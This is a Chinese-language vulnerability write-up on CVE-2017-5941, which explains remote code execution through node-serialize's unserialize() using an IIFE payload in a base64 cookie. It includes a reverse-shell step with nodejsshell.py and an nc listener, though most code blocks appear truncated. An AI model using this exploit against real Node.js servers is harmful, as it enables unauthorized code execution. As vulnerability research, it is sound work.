漏洞介绍
漏洞名称:Exploiting Node.js deserialization bug for Remote Code Execution
漏洞CVE id:CVE-2017-5941
漏洞类型:代码执行
漏洞简介:
不可信的数据传入了unserialize()函数,这导致我们可以通过传递带有立即调用函数表达式(IIFE)的JavaScript对象来实现任意代码执行。
漏洞详情
在Node.js代码审查期间,我碰巧看到了一个序列化/反序列化模块命名为node-serialize。cookie的值来自请求然后被传递到模块提供的unserialize()函数。下面是一个示例的node.js应用程序:
1 | var express = require('express'); |
Java,PHP,Ruby和Python也有着大量的反序列化问题
Understanding PHP Object Injection
Java Deserialization Cheat Sheet
Rails Remote Code Execution Vulnerability Explained
Arbitrary code execution with Python pickles
但是我找不到任何解释反序列化/对象的资源来解释Node.js中的注入BUG。
Building the Payload
我使用node-serialize version 0.0.4进行研究,为了成功利用当不可信数据传递到unserialize()函数时,执行任意代码。创建Payload的最好方法就是使用同一模块的serialize()函数。
我创建了以下JavaScript对象并将其传递给serialize()函数。
1 | var y = { |
输出如下:
现在我们有一个序列化的字符串,可以通过unserialize()函数进行反序列化,但问题是代码执行不会发生,直到你触发对应于对象的rce属性的函数。后来我想出,我们可以使用JavaScript的立即调用函数表达式(IIFE)来调用该函数。如果我们在函数体之后使用括号(),当对象被创建时,函数将被调用。 它的工作方式类似于C ++中的类构造函数。
代码:
1 | var y = { |
获得以下输出
IIFE工作正常,但序列化失败。所以我试图在以前序列化的字符串的函数体后添加括号()。并将其传递给unserialize()函数,幸运的它成功了。所以我们有Exploit Payload:
1 | {"rce":"_$$ND_FUNC$$_function (){n t |
将它传递给unserialize()函数将导致代码执行。
1 | var serialize = require('node-serialize'); |
演示:
现在我们知道我们可以利用node-serialize模块中的unserialize()函数。现在让我们来利用漏洞生成一个反向shell。
Further Exploitation
Web应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数。由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值以利用此漏洞。
我使用nodejsshell.py生成反向shell有效负载。
1 | $ python nodejsshell.py 127.0.0.1 1337 |
现在让我们生成序列化的有效内容,并在函数体后添加括号()。
1 | {"rce":"_$$ND_FUNC$$_function (){ |
我们需要执行相同的Base64编码,然后使用Cookie头中的编码Payload向Web服务器发出请求。
现在我们可以使用nc监听一下本地的一个端口:
1 | nc -l 127.0.0.1 1337 |
演示:
成功利用,反弹一个shell。
演示靶场
https://www.anquanke.com/post/id/168484
总结
我们利用了一个反序列化的bug实现了任意代码执行,经验告诉我们,永远不要相信用户的输入。这个漏洞产生的根本原因在于内部使用了eval()反序列化,我在另一个名为serialize-to-js的模块中也发现了一个类似的错误。在该模块中,Node.js中的require()函数在没有IIFE的对象的反序列化期间没有范围,并且它们在内部使用新的函数用于反序列化。我们仍然可以使用稍微复杂的有效载荷来实现代码执行。